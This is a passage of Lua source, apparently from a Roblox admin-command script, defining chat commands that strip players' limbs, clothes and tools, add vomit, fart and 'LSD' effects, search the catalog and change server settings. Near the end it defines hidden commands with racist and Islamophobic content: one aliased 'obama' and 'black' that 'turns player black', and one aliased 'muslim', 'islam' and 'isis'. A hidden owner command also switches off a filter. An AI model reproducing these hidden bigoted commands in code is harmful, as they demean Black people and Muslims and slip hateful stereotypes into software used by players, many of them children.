7028 for _,Obj in pairs(Player.Character:GetChildren()) do
7029 local Valid = false
7030 for _,Name in pairs({"Right Arm", "Left Arm"}) do if Obj.Name == Name then Valid = true end end
7031 if Valid == true then Obj:Destroy() end
7032 end
7033 end
7034 end
7035 end};
7036
7037 [{"nolegs", "noleg"}] = {"player", "Removes player's legs", 1, "Member", false, function(Speaker, Rank, Arguments)
7038 local Players = STRING:Scan(Arguments[1], Speaker)
7039 for _,Player in pairs(Players) do
7040 if Player.Character then
7041 for _,Obj in pairs(Player.Character:GetChildren()) do
7042 local Valid = false
7043 for _,Name in pairs({"Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end
7044 if Valid == true then Obj:Destroy() end
7045 end
7046 end
7047 end
7048 end};
7049
7050 [{"noaccessories", "noaccessory", "noacs", "nohats", "nohat"}] = {"player", "Removes player's accessories", 1, "Member", false, function(Speaker, Rank, Arguments)
7051 local Players = STRING:Scan(Arguments[1], Speaker)
7052 for _,Player in pairs(Players) do
7053 if Player.Character then
7054 for _,Obj in pairs(Player.Character:GetChildren()) do
7055 if Obj:IsA("Accoutrement") then
7056 Obj:Destroy()
7057 end
7058 end
7059 end
7060 end
7061 end};
7062
7063 [{"naked", "noclothes"}] = {"player", "Removes player's clothes and hats", 1, "Member", false, function(Speaker, Rank, Arguments)
7064 local Players = STRING:Scan(Arguments[1], Speaker)
7065 for _,Player in pairs(Players) do
7066 Player:ClearCharacterAppearance()
7067 end
7068 end};
7069
7070 [{"playerdatabase", "playerbase", "playerdatab", "playerdb", "plrdatabase", "plrdatab", "plrdb", "pdatabase", "pdatab", "pdb"}] = {"", "Database of all the players in the server", 0, "Member", false, function(Speaker, Rank, Arguments)
7071 local Players = Server.Data:GetDataStore("MML's Admin"):GetAsync("Players")
7072 local TmpPlayers = {}
7073 local Output = {}
7074 for _,Data in pairs(Players) do
7075 table.insert(Output, {"Name: "..Data.Name.." | UserID: "..Data.UserId.." | Rank: "..Data.Rank.." | Last Joined: "..(Data.LastJoin or "Unknown").." | Account Age: "..(Data.AccountAge or "Unknown"), "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Data.Name})
7076 end
7077 GUI:ListGui(Speaker, "Player Database", Output, 120563622)
7078 end};
7079
7080 [{"clearplayerdatabase", "clearpdb", "cpdb"}] = {"", "Clears the player databse", 0, "Owner", false, function(Speaker, Rank, Arguments)
7081 Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", {})
7082 GUI:SendHint(Speaker, "Player Database cleared", 5)
7083 end};
7084
7085 [{"hack", "hax"}] = {"player", "Fake hacks player", 1, "Member", true, function(Speaker, Rank, Arguments)
7086 local Players = STRING:Scan(Arguments[1], Speaker)
7087 for _,Player in pairs(Players) do
7088 GUI:FakeHack(Player)
7089 end
7090 end};
7091
7092 [{"clonetools", "clonet"}] = {"player", "Clones player's tools and gives the to the speaker", 1, "Member", false, function(Speaker, Rank, Arguments)
7093 local Players = STRING:Scan(Arguments[1], Speaker)
7094 for _,Player in pairs(Players) do
7095 if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
7096 for _,Object in pairs(Player.Backpack:GetChildren()) do
7097 if Object:IsA("Tool") or Object:IsA("HopperBin") then
7098 local Clone = Object:Clone()
7099 Clone.Parent = Speaker.Backpack
7100 end
7101 end
7102 end
7103 end
7104 end};
7105
7106 [{"taketools", "taket", "tt"}] = {"player", "Clone player's tools and gives the to the speaker", 1, "Member", false, function(Speaker, Rank, Arguments)
7107 local Players = STRING:Scan(Arguments[1], Speaker)
7108 for _,Player in pairs(Players) do
7109 if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
7110 for _,Object in pairs(Player.Backpack:GetChildren()) do
7111 if Object:IsA("Tool") or Object:IsA("HopperBin") then
7112 Object.Parent = Speaker.Backpack
7113 end
7114 end
7115 end
7116 end
7117 end};
7118
7119 [{"givetools", "givet", "gt"}] = {"player", "Clone the speaker's tools and gives the to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7120 local Players = STRING:Scan(Arguments[1], Speaker)
7121 for _,Player in pairs(Players) do
7122 if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
7123 for _,Object in pairs(Speaker.Backpack:GetChildren()) do
7124 if Object:IsA("Tool") or Object:IsA("HopperBin") then
7125 local Clone = Object:Clone()
7126 Clone.Parent = Player.Backpack
7127 end
7128 end
7129 end
7130 end
7131 end};
7132
7133 [{"notools", "notool", "cleartools", "cleantools", "ctools", "untools"}] = {"player", "Clears player's backpack", 1, "Member", false, function(Speaker, Rank, Arguments)
7134 local Players = STRING:Scan(Arguments[1], Speaker)
7135 for _,Player in pairs(Players) do
7136 if Player:FindFirstChild("Backpack") then
7137 Player.Backpack:ClearAllChildren()
7138 end
7139 if Player.Character ~= nil then
7140 for _,Obj in pairs(Player.Character:GetChildren()) do
7141 if Obj:IsA("Tool") or Obj:IsA("HopperBin") then
7142 Obj:Destroy()
7143 end
7144 end
7145 end
7146 end
7147 end};
7148
7149 [{"vomit", "puke", "throwup", "barf"}] = {"player", "Makes player vomit", 1, "Member", true, function(Speaker, Rank, Arguments)
7150 local Players = STRING:Scan(Arguments[1], Speaker)
7151 for _,Player in pairs(Players) do
7152 if Player.Character then
7153 if Player.Character:FindFirstChild("Head") then
7154 if Player.Character.Torso:FindFirstChild("Neck") and Player.Character.Head:FindFirstChild("face") then
7155 coroutine.wrap(function()
7156 if Player.Character.Head.face.Texture ~= "rbxassetid://24067663" then if Player.Character.Head.face.Texture ~= "rbxassetid://28118994" then
7157 local OldFace = Player.Character.Head.face.Texture
7158 Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(math.rad(20),0,0)
7159 Player.Character.Head.BrickColor = BrickColor.new("Br. yellowish green")
7160 Player.Character.Head.face.Texture = "rbxassetid://24067663"
7161 local Sound = SOUND:MakeSound(Player.Character.Head, 142539016, 1, 0.9)
7162 Sound:Play()
7163 coroutine.wrap(function() for i = 1,100 do wait()
7164 local Part = Instance.new("Part", Player.Character) Part.BrickColor = BrickColor.new("Br. yellowish green") Part.FormFactor = "Custom" Part.Elasticity = 0.1 Part.Size = Vector3.new(0.2,0.2,0.2) Part.Position = Player.Character.Head.Position + Vector3.new(math.random(-10,10)/10, math.random(-10,10)/10, math.random(-10,10)/10)
7165 coroutine.wrap(function() wait(3) Part:Destroy() end)()
7166 end
7167 Sound:Destroy() Player.Character.Head.face.Texture = OldFace Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(-math.rad(20),0,0) pcall(function() Player.Character.Head.BrickColor = Player.Character["Body Colors"].HeadColor end) end)()
7168 end end
7169 end)()
7170 end
7171 end
7172 end
7173 end
7174 end};
7175
7176 [{"fart", "stink"}] = {"player", "Makes player fart", 1, "Member", true, function(Speaker, Rank, Arguments)
7177 local Players = STRING:Scan(Arguments[1], Speaker)
7178 for _,Player in pairs(Players) do
7179 if Player.Character then
7180 if Player.Character:FindFirstChild("Torso") and Player.Character.Head:FindFirstChild("face") then
7181 coroutine.wrap(function()
7182 if Player.Character.Head.face.Texture ~= "rbxassetid://24067663" then if Player.Character.Head.face.Texture ~= "rbxassetid://28118994" then
7183 local OldFace = Player.Character.Head.face.Texture
7184 local Fart = Instance.new("Part", Player.Character.Torso) Fart.Name = "Fart" Fart.Size = Vector3.new(1,1,1) Fart.Position = Vector3.new(0,100,0) Fart.Transparency = 1
7185 local Weld = Instance.new("Weld", Fart) Weld.Part0 = Fart Weld.Part1 = Player.Character.Torso Weld.C0 = CFrame.new(0,-1,-1) * CFrame.Angles(math.rad(-90),0,0)
7186 local Smoke = Instance.new("Smoke", Fart) Smoke.Name = "Fart Effect" Smoke.Color = Color3.new(70/255, 100/255, 30/255)
7187 Player.Character.Head.face.Texture = "rbxassetid://28118994"
7188 local Sound = SOUND:MakeSound(Fart, 130833677, 1, 0.8)
7189 Sound:Play()
7190 wait(1)
7191 Smoke.Enabled = false
7192 wait(1)
7193 Fart:Destroy()
7194 Fart:Destroy()
7195 Player.Character.Head.face.Texture = OldFace
7196 end end
7197 end)()
7198 end
7199 end
7200 end
7201 end};
7202
7203 [{"graffiti", "graf", "gra", "draw"}] = {"player", "Gives player a tool to do graffiti", 1, "Member", true, function(Speaker, Rank, Arguments)
7204 local Players = STRING:Scan(Arguments[1], Speaker)
7205 for _,Player in pairs(Players) do
7206 if Player:FindFirstChild("Backpack") then
7207 CORE:ExecuteResource("Graffiti", Player.Backpack, {["Color"] = GUI:GetColor()})
7208 end
7209 end
7210 end};
7211
7212 [{"cleargraffiti", "cleargraf", "cleargra", "cleardraw", "cleangraffiti", "cleangraf", "cleangra", "cleandraw", "cgraffiti", "cgraf", "cgra", "cdraw"}] = {"", "Clears any graffiti", 0, "Admin", false, function(Speaker, Rank, Arguments)
7213 local Players = STRING:Scan(Arguments[1], Speaker)
7214 for _,Player in pairs(Players) do
7215 if Player.Character and Player.Character:FindFirstChild("MMLGraffiti") then
7216 Player.Character.MMLGraffiti:ClearAllChildren()
7217 end
7218 end
7219 end};
7220
7221 [{"light", "spotlight"}] = {"player", "Makes player and a small radius around whom to light up", 1, "Member", false, function(Speaker, Rank, Arguments)
7222 local Players = STRING:Scan(Arguments[1], Speaker)
7223 for _,Player in pairs(Players) do
7224 if Player.Character and Player.Character:FindFirstChild("Torso") then
7225 local Light = Player.Character.Torso:FindFirstChild("MML Light") if Light then Light:Destroy() end
7226 Light = Instance.new("PointLight", Player.Character.Torso) Light.Name = "MML Light" Light.Range = 20 Light.Brightness = 2
7227 end
7228 end
7229 end};
7230
7231 [{"lamp", "pointlight", "headlight", "headlamp"}] = {"player", "Makes player and a small radius in from of whom to light up as if there was a head light", 1, "Member", false, function(Speaker, Rank, Arguments)
7232 local Players = STRING:Scan(Arguments[1], Speaker)
7233 for _,Player in pairs(Players) do
7234 if Player.Character and Player.Character:FindFirstChild("Torso") then
7235 local Light = Player.Character.Torso:FindFirstChild("MML Lamp") if Light then Light:Destroy() end
7236 Light = Instance.new("SpotLight", Player.Character.Torso) Light.Name = "MML Lamp" Light.Range = 30 Light.Brightness = 5
7237 end
7238 end
7239 end};
7240
7241 [{"nolight", "nolamp", "unlight", "unlamp"}] = {"player", "Removes player's light and/or lamp", 1, "Member", false, function(Speaker, Rank, Arguments)
7242 local Players = STRING:Scan(Arguments[1], Speaker)
7243 for _,Player in pairs(Players) do
7244 if Player.Character and Player.Character:FindFirstChild("Torso") then
7245 local Lights = {}
7246 for _,Obj in pairs(Player.Character.Torso:GetChildren()) do
7247 if Obj.Name == "MML Lamp" or Obj.Name == "M".."ML Light" then
7248 table.insert(Lights, Obj)
7249 end
7250 end
7251 for _,Light in pairs(Lights) do
7252 coroutine.wrap(function()
7253 for i = 1,20 do
7254 Light.Brightness = Light.Brightness/5
7255 wait()
7256 end
7257 Light:Destroy()
7258 end)()
7259 end
7260 end
7261 end
7262 end};
7263
7264 [{"drug", "lsd"}] = {"player", "Gives player the effect of being on lsd", 1, "Member", false, function(Speaker, Rank, Arguments)
7265 local Players = STRING:Scan(Arguments[1], Speaker)
7266 for _,Player in pairs(Players) do
7267 if Player.Character and Player:FindFirstChild("PlayerGui") then
7268 local SG = Player.PlayerGui:FindFirstChild("MML Drug") if SG then SG:Destroy() end
7269 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MML Drug"
7270 local Frame = Instance.new("Frame", SG) Frame.Size = UDim2.new(1,0,1,0) Frame.BackgroundTransparency = 0.5
7271 local Stop = false
7272 coroutine.wrap(function()
7273 repeat
7274 Frame.BackgroundColor3 = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255)
7275 wait(0.1)
7276 until not SG or not SG.Parent
7277 end)()
7278 CORE:ExecuteResource("Drug", Player.Character)
7279 end
7280 end
7281 end};
7282
7283 [{"nodrug", "nolsd", "undrug", "unlsd"}] = {"player", "Removes drug effect", 1, "Member", false, function(Speaker, Rank, Arguments)
7284 local Players = STRING:Scan(Arguments[1], Speaker)
7285 for _,Player in pairs(Players) do
7286 if Player:FindFirstChild("PlayerGui") then
7287 local SG = Player.PlayerGui:FindFirstChild("MML Drug") if SG then SG:Destroy() end
7288 wait() CORE:RestoreCamera(Player)
7289 end
7290 end
7291 end};
7292
7293 [{"searchg", "searchgear"}] = {"string", "Searches the catalog for the gear string", 1, "Member", false, function(Speaker, Rank, Arguments)
7294 local AbuseMode = false
7295 if Rank == "Member" then AbuseMode = Settings.DisableAbuse end
7296 MARKET:ShowSearch(Speaker, 5, Arguments[1], function(ID)
7297 if Speaker:FindFirstChild("Backpack") then
7298 CORE:Insert(ID, Speaker.Backpack, true, {"Tool", "HopperBin"}, AbuseMode)
7299 end
7300 end)
7301 end, Http = true};
7302
7303 [{"searchaccessory", "searchaccessories", "searchacs", "searcha", "searchhat", "searchhats", "searchh"}] = {"string(type) string(query)", "Searches the catalog for the accessory string(query) with the type of string(type)", 1, "Member", false, function(Speaker, Rank, Arguments)
7304 local Type = "all"
7305 local Query = string.lower(Arguments[1])
7306 local Arguments = STRING:GetSplit(Query, 2, Settings.Bet)
7307 if #Arguments == 2 and Assets.AccessoryTypes[Arguments[1]] then
7308 Type = Arguments[1]
7309 Query = Arguments[2]
7310 end
7311 MARKET:ShowSearch(Speaker, 11, Query, function(ID)
7312 if Speaker.Character then
7313 CORE:Insert(ID, Speaker.Character, true, {"Accoutrement"})
7314 end
7315 end, MARKET:AccessoryToSubcategory(Type))
7316 end, Http = true};
7317
7318 [{"searchp", "searchpack", "searchpackage"}] = {"string", "Searches the catalog for the package string", 1, "Member", false, function(Speaker, Rank, Arguments)
7319 MARKET:ShowSearch(Speaker, 11, Arguments[1], function(ID)
7320 if Speaker.Character then
7321 CORE:GivePackage(Speaker, ID)
7322 end
7323 end, 11)
7324 end, Http = false};
7325
7326 [{"nopackage", "nopack", "unpackage", "unpack"}] = {"player", "Removes all packages from player", 1, "Member", false, function(Speaker, Rank, Arguments)
7327 local Players = STRING:Scan(Arguments[1], Speaker)
7328 for _,Player in pairs(Players) do
7329 CORE:GivePackage(Player)
7330 end
7331 end};
7332
7333 [{"package", "pack", "morph"}] = {"player num(ID)", "Gives player the package with num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7334 local Players = STRING:Scan(Arguments[1], Speaker)
7335 for _,Player in pairs(Players) do
7336 CORE:GivePackage(Player, Arguments[2])
7337 end
7338 end, Http = false};
7339
7340 [{"change", "changestat", "changeleaderstat", "changestats", "changeleaderstats"}] = {"player string(key) value(string/num)", "Changes player's leaderstats for key(Coins, money, ext) to value", 3, "Member", false, function(Speaker, Rank, Arguments)
7341 local Players = STRING:Scan(Arguments[1], Speaker)
7342 for _,Player in pairs(Players) do
7343 local Stats = Player:FindFirstChild("leaderstats")
7344 if Stats ~= nil then
7345 for _,Stat in pairs(Stats:GetChildren()) do
7346 if string.sub(string.lower(Stat.Name),1,#Arguments[2]) == string.lower(Arguments[2]) then
7347 ypcall(function() Stat.Value = Arguments[3] end)
7348 end
7349 end
7350 end
7351 end
7352 end};
7353
7354 [{"shirt"}] = {"player num(ID)", "Changes player's shirt to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7355 local ID = tonumber(Arguments[2])
7356 local Players = STRING:Scan(Arguments[1], Speaker)
7357 for _,Player in pairs(Players) do
7358 for _,Player in pairs(Players) do
7359 if Player.Character ~= nil then
7360 local Obj = Player.Character:FindFirstChild("Shirt")
7361 if Obj then
7362 Obj.ShirtTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7363 else
7364 Obj = Instance.new("Shirt", Player.Character) Obj.Name = "Shirt" Obj.ShirtTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7365 end
7366 coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)()
7367 end
7368 end
7369 end
7370 end};
7371
7372 [{"pants"}] = {"player num(ID)", "Changes player's pants to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7373 local ID = tonumber(Arguments[2])
7374 local Players = STRING:Scan(Arguments[1], Speaker)
7375 for _,Player in pairs(Players) do
7376 for _,Player in pairs(Players) do
7377 if Player.Character ~= nil then
7378 local Obj = Player.Character:FindFirstChild("Pants")
7379 if Obj then
7380 Obj.PantsTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7381 else
7382 Obj = Instance.new("Pants", Player.Character) Obj.Name = "Pants" Obj.PantsTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7383 end
7384 coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)()
7385 end
7386 end
7387 end
7388 end};
7389
7390 [{"tshirt"}] = {"player num(ID)", "Changes player's T-shirt to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7391 local ID = tonumber(Arguments[2])
7392 local Players = STRING:Scan(Arguments[1], Speaker)
7393 for _,Player in pairs(Players) do
7394 for _,Player in pairs(Players) do
7395 if Player.Character ~= nil then
7396 if Player.Character:FindFirstChild("Torso") then
7397 local Obj1 = Player.Character:FindFirstChild("Shirt Graphic")
7398 local Obj2 = Player.Character.Torso:FindFirstChild("roblox")
7399 if Obj1 then
7400 Obj1.Graphic = "rbxassetid://"..MARKET:GetImageFormat(ID)
7401 else
7402 Obj1 = Instance.new("ShirtGraphic", Player.Character) Obj1.Name = "Shirt Graphic" Obj1.Graphic = "rbxassetid://"..MARKET:GetImageFormat(ID)
7403 end
7404 if Obj2 then
7405 Obj2.Texture = "rbxassetid://"..MARKET:GetImageFormat(ID)
7406 else
7407 Obj2 = Instance.new("Decal", Player.Character.Torso) Obj2.Name = "roblox" Obj2.Texture = "rbxassetid://"..MARKET:GetImageFormat(ID) Obj2.Face = "Front"
7408 end
7409 coroutine.wrap(function() Obj1.Parent = nil wait(0.1) Obj1.Parent = Player.Character end)()
7410 coroutine.wrap(function() Obj2.Parent = nil wait(0.2) Obj2.Parent = Player.Character.Torso end)()
7411 end
7412 end
7413 end
7414 end
7415 end};
7416
7417 [{"oder", "od", "onlinedater", "onlinedate"}] = {"player", "Changes player's character to be an online dater", 1, "Member", false, function(Speaker, Rank, Arguments)
7418 local Players = STRING:Scan(Arguments[1], Speaker)
7419 for _,Player in pairs(Players) do
7420 CORE:ChangeCharacter(Player, OderIDs[math.random(1,#OderIDs)], false, Speaker)
7421 end
7422 end};
7423
7424 [{"cookie"}] = {"player", "Gives player a cookie if the speaker is in the admin group", 1, "Member", false, function(Speaker, Rank, Arguments)
7425 if CORE:InAdminGroup(Speaker) then
7426 local Players = STRING:Scan(Arguments[1], Speaker)
7427 for _,Player in pairs(Players) do
7428 if Player:FindFirstChild("Backpack") then
7429 local Tool = Instance.new("Tool", Player.Backpack) Tool.Name = "Cookie" Tool.ToolTip = "Yey! Cookies!" Tool.GripForward = Vector3.new(0,1,0) Tool.GripPos = Vector3.new(0.1,-0.3,-0.1) Tool.GripRight = Vector3.new(0,0,-1) Tool.GripUp = Vector3.new(0.01,0,1)
7430 local Handle = Instance.new("Part", Tool) Handle.Name = "Handle" Handle.Size = Vector3.new(1,1,1)
7431 local Mesh = Instance.new("SpecialMesh", Handle) Mesh.MeshType = "FileMesh" Mesh.Scale = Vector3.new(0.4,0.4,0.4) Mesh.MeshId = "rbxassetid://20939848" Mesh.TextureId = "rbxassetid://21456464"
7432 local Anim = Instance.new("Animation", Tool) Anim.Name = "EatCookie" Anim.AnimationId = "rbxassetid://29517689"
7433 CORE:ExecuteResource("CookieTool", Tool)
7434 end
7435 end
7436 end
7437 end};
7438
7439 [{"decal", "image"}] = {"num(ID)", "Allows player to insert num(ID) as a decal", 1, "Member", false, function(Speaker, Rank, Arguments)
7440 if Speaker:FindFirstChild("Backpack") and tonumber(Arguments[1]) then
7441 CORE:ExecuteResource("InsertDecal", Speaker.Backpack, {["DecalID"] = MARKET:GetImageFormat(tonumber(Arguments[1]))})
7442 end
7443 end};
7444
7445 [{"insert", "model", "ins"}] = {"num(ID)", "Allows player to insert num(ID) as a model(Only works if the model is owned by the owner of the game or ROBLOX)", 1, "Member", false, function(Speaker, Rank, Arguments)
7446 if Speaker:FindFirstChild("Backpack") and tonumber(Arguments[1]) then
7447 local Model = CORE:Insert(tonumber(Arguments[1]), Server.RS)
7448 Model:MakeJoints()
7449 for i = 1,math.random(10,20) do
7450 Model.Name = Model.Name..string.char(math.random(97,122))
7451 end
7452 if Model:GetChildren()[1] then
7453 table.insert(Objects, Model)
7454 CORE:ExecuteResource("InsertModel", Speaker.Backpack, {["Model"] = Model})
7455 end
7456 end
7457 end};
7458
7459 [{"animate", "animation", "anim"}] = {"player num(ID)", "Animates player to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7460 local ID = tonumber(Arguments[2])
7461 local Players = STRING:Scan(Arguments[1], Speaker)
7462 for _,Player in pairs(Players) do
7463 if Player.Character then
7464 CORE:ExecuteResource("PlayAnimation", Player.Character, {["AnimationID"] = Arguments[2]})
7465 end
7466 end
7467 end};
7468
7469 [{"noanimate", "moanimation", "noanim", "unanimate", "unanimation", "unanim"}] = {"player", "Stops animations playing from the animate command", 1, "Member", false, function(Speaker, Rank, Arguments)
7470 local Players = STRING:Scan(Arguments[1], Speaker)
7471 for _,Player in pairs(Players) do
7472 if Player.Character then
7473 local StopAnim = Player.Character:FindFirstChild("Stop MML Animate")
7474 if StopAnim then StopAnim:Destroy() end
7475 end
7476 end
7477 end};
7478
7479 [{"ambient"}] = {"Color3(1) Color3(2) Color3(3)", "Changes the ambient lighting to Red - Color3(1) Green - Color3(2) Blue - Color3(3) (Out of 255)", 3, "Member", false, function(Speaker, Rank, Arguments)
7480 if tonumber(Arguments[1]) and tonumber(Arguments[2]) and tonumber(Arguments[3]) then
7481 Server.Lighting.Ambient = Color3.new(tonumber(Arguments[1])/255,tonumber(Arguments[2])/255,tonumber(Arguments[3])/255)
7482 end
7483 end};
7484
7485 [{"brightness", "bright"}] = {"num", "Changes the lighting brightness to num", 1, "Member", false, function(Speaker, Rank, Arguments)
7486 if tonumber(Arguments[1]) then
7487 Server.Lighting.Brightness = tonumber(Arguments[1])
7488 end
7489 end};
7490
7491 [{"pl", "playerlist"}] = {"player", "Enables player to see the player list", 1, "Member", false, function(Speaker, Rank, Arguments)
7492 local Players = STRING:Scan(Arguments[1], Speaker)
7493 for _,Player in pairs(Players) do
7494 GUI:CoreGui(Player, "PlayerList", true)
7495 end
7496 end};
7497
7498 [{"npl", "nopl", "unpl", "noplayerlist", "unplayerlist"}] = {"player", "Disables player to see the player list", 1, "Member", false, function(Speaker, Rank, Arguments)
7499 local Players = STRING:Scan(Arguments[1], Speaker)
7500 for _,Player in pairs(Players) do
7501 local Players = STRING:Scan(Arguments[1], Speaker)
7502 GUI:CoreGui(Player, "PlayerList", false)
7503 end
7504 end};
7505
7506 [{"bc", "tbc", "obc"}] = {"player", "What do you know, it's a real command!", 1, "Member", false, function(Speaker, Rank, Arguments)
7507 GUI:SendMessage(Speaker, "Wow, you thought this was a command", "Did you look at the comments by chance?", 5253865)
7508 end, Hidden = true};
7509
7510 [{"obama", "black", "1337"}] = {"player", "Turns player black", 1, "Member", false, function(Speaker, Rank, Arguments)
7511 local Players = STRING:Scan(Arguments[1], Speaker)
7512 for _,Player in pairs(Players) do
7513 CORE:ChangeCharacter(Player, 1337, false, Speaker)
7514 end
7515 end, Hidden = true};
7516
7517 [{"muslim", "islam", "isis"}] = {"player", "Turns player into a muslim", 1, "Member", false, function(Speaker, Rank, Arguments)
7518 local Players = STRING:Scan(Arguments[1], Speaker)
7519 for _,Player in pairs(Players) do
7520 if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
7521 ypcall(function() Player.Character.Torso.roblox:Destroy() end)
7522 Player:ClearCharacterAppearance()
7523 CORE:Insert(12436480, Player.Character, true)
7524 Player.Character.Head.face.Texture = "rbxassetid://110287880"
7525 Instance.new("Shirt", Player.Character).ShirtTemplate = "rbxassetid://205596436"
7526 Instance.new("Pants", Player.Character).PantsTemplate = "rbxassetid://205596483"
7527 end
7528 end
7529 end, Hidden = true};
7530
7531 [{"noob", "noobify", "boon"}] = {"player", "Turns player into a noob", 1, "Member", false, function(Speaker, Rank, Arguments)
7532 local Players = STRING:Scan(Arguments[1], Speaker)
7533 for _,Player in pairs(Players) do
7534 CORE:ChangeCharacter(Player, 0, false, Speaker)
7535 end
7536 end};
7537
7538 [{"nofilter", "unfilter", "defilter"}] = {"", "Removes current filter", 0, "Owner", false, function(Speaker, Rank, Arguments)
7539 ShouldFilter = false
7540 end, Hidden = true};
7541
7542 [{"bet"}] = {"string", "Changes the bet to string", 1, "Owner", false, function(Speaker, Rank, Arguments)
7543 local Bet = Arguments[1]
7544 if Bet == "/" or Bet == "-" or Bet == "(" or Bet == ")" then
7545 GUI:SendMessage(Speaker, "Cannot change bet", "RED Illegal characters used to become a bet", "Error")
7546 elseif #Bet > 5 then
7547 GUI:SendMessage(Speaker, "Bet too long", "RED The bet is too long and is over 5 characters (You have "..#Bet.." characters)", "Error")
7548 else
7549 local Answer = GUI:PromptMessageWithButtons(Speaker, "Are you sure you want to change the bet", "You are about to change the bet from '"..Settings.Bet.."' to '"..Bet.."' and commands like "..Settings.Prefix.."ff"..Settings.Bet.."me will be changed to "..Settings.Prefix.."ff"..Bet.."me, Continue?", "Question", {"Yes", "No"})
7550 if Answer == "Yes" then
7551 local OldBet = Settings.Bet
7552 CORE:ChangeBet(Bet)
7553 GUI:MessageAdmins("Bet Change", "The bet has changed from '"..OldBet.."' to '"..Bet.."' and commands like "..Settings.Prefix.."ff"..OldBet.."me will be changed to "..Settings.Prefix.."ff"..Bet.."me")
7554 end
7555 end
7556 end};
7557
7558 [{"prefix"}] = {"string", "Changes the prefix to string", 1, "Owner", false, function(Speaker, Rank, Arguments)
7559 local Prefix = Arguments[1]
7560 if #Prefix > 5 then
7561 GUI:SendMessage(Speaker, "Prefix too long", "RED The Prefix is too long and is over 5 characters (You have "..#Prefix.." characters)", "Error")
7562 else
7563 local Answer = GUI:PromptMessageWithButtons(Speaker, "Are you sure you want to change the Prefix", "You are about to change the Prefix from '"..Settings.Prefix.."' to '"..Prefix.."' and commands like "..Settings.Prefix.."ff"..Settings.Bet.."me will be changed to "..Prefix.."ff"..Settings.Bet.."me, Continue?", "Question", {"Yes", "No"})
7564 if Answer == "Yes" then
7565 local OldPrefix = Settings.Prefix
7566 Settings.Prefix = Prefix
7567 GUI:MessageAdmins("Prefix Change", "The Prefix has changed from '"..OldPrefix.."' to '"..Prefix.."' and commands like "..OldPrefix.."ff"..Settings.Bet.."me will be changed to "..Prefix.."ff"..Settings.Bet.."me")
7568 end
7569 end
7570 end};
7571
7572 [{"commandbar", "cmdbar", "cbar", "commandgui", "cmdgui", "cgui", "commandbox", "cmdbox", "cbox"}] = {"", "Gives you a command bar to enter commands", 0, "Member", false, function(Speaker, Rank, Arguments)
7573 GUI:CommandBar(Speaker)
7574 end};
7575
7576 [{"permcommandbar", "permcmdbar", "permcommandgui", "permcmdgui"}] = {"", "Gives you a command bar for each time you spawn", 0, "Admin", false, function(Speaker, Rank, Arguments)
7577 GUI:CommandBar(Speaker)
7578 PermCommandBars[Speaker.Name] = true
7579 end};
7580
7581 [{"nopermcommandbar", "nopermcmdbar", "nopermcommandgui", "nopermcmdgui", "unpermcommandbar", "unpermcmdbar", "unpermcommandgui", "unpermcmdgui"}] = {"", "If you are in the perm command bar list, it takes you out(You keep command bar for current spawn)", 0, "Admin", false, function(Speaker, Rank, Arguments)
7582 PermCommandBars[Speaker.Name] = nil
7583 end};
7584
7585 [{"remotenopermcommandbar", "remotenopermcmdbar", "remotenopermcommandgui", "remotenopermcmdgui", "remoteunpermcommandbar", "remoteunpermcmdbar", "remoteunpermcommandgui", "remoteunpermcmdgui"}] = {"player", "If player is in the perm command bar list, it takes player out(player keep command bar for current spawn)", 1, "Owner", false, function(Speaker, Rank, Arguments)
7586 local Players = STRING:Scan(Arguments[1], Speaker)
7587 for _,Player in pairs(Players) do
7588 PermCommandBars[Player.Name] = nil
7589 end
7590 end};
7591
7592 [{"dummy", "newdummy", "dum", "figure"}] = {"", "Creates a dummy", 0, "Member", false, function(Speaker, Rank, Arguments)
7593 CORE:CreateFigure("Dummy", nil, true, Speaker)
7594 end};
7595
7596 [{"namedummy", "dummyname", "namenewdummy", "namedum", "dumname", "namefigure", "ndummy", "nnewdummy", "ndum", "nfigure"}] = {"string", "Creates a dummy named string", 1, "Member", false, function(Speaker, Rank, Arguments)
7597 CORE:CreateFigure(Arguments[1], nil, true, Speaker)
7598 end};
7599
7600 [{"clone", "copy"}] = {"player", "Creates clone of player", 1, "Member", false, function(Speaker, Rank, Arguments)
7601 local Players = STRING:Scan(Arguments[1], Speaker)
7602 for _,Player in pairs(Players) do
7603 CORE:ClonePlayer(Player)
7604 end
7605 end};
7606
7607 [{"nameclone", "clonename", "namecopy", "nclone", "ncopy"}] = {"player string", "Creates clone of player named string", 2, "Member", false, function(Speaker, Rank, Arguments)
7608 local Players = STRING:Scan(Arguments[1], Speaker)
7609 for _,Player in pairs(Players) do
7610 CORE:ClonePlayer(Player, Arguments[2])
7611 end
7612 end};
7613
7614 [{"clear", "clr"}] = {"", "Clears debris in workspace left by the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
7615 for _,Obj in pairs(Objects) do
7616 if Obj then Obj:Destroy() end
7617 end
7618 for Name,Jail in pairs(Jails) do
7619 if not game.Players:FindFirstChild(Name) then
7620 Jail:Destroy()
7621 Jails[Name] = nil
7622 end
7623 end
7624 Objects = {}
7625 end};
7626
